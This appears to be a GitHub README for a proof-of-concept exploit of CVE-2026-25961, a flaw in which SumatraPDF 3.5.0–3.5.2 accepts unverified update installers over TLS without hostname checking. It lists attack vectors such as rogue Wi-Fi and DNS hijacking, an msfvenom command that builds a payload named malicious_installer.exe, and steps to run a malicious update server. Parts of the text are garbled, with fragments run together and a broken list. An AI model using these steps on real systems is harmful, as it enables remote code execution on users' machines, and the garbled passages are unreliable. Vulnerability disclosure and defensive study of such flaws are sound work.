mbanyamer/cve-2026-25961-sumatrapdf-3.5.0---3.5.2-rceSumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks # (using INTERNET_FLAG_IGNORE_CERT_CN_INVALID) and do not perform any signature or integrity # validation on the downloaded installer.
CVE-2026-25961 – Remote Code Execution via Malicious Update Server
Author: Mohammed Idrees Banyamer
Date: February 2026
CVE: CVE-2026-25961
GHSA: GHSA-xpm2-rr5m-x96q
CVSS v3.1: 7.5 High (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)
Affected versions: SumatraPDF 3.5.0 – 3.5.2
Tested on: Windows 10 / Windows 11
SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname validation during the auto-update check and do not verify the digital signature or integrity of the downloaded installer.
A network-positioned attacker can:
https://www.sumatrapdfreader.org/update-check-rel.txtCreateProcessRealistic attack vectors: rogue Wi-Fi, compromised home/office router, DNS hijacking, transparent proxy injection, etc.
update-check-rel.txt responsepip install flask
# Example with msfvenom (optional)
msfvenom -p windows/x64/exec CMD=calc.exe -f exe > malicious_installer.exe
#Run the server:
python3 CVE-2026-25961_poc.py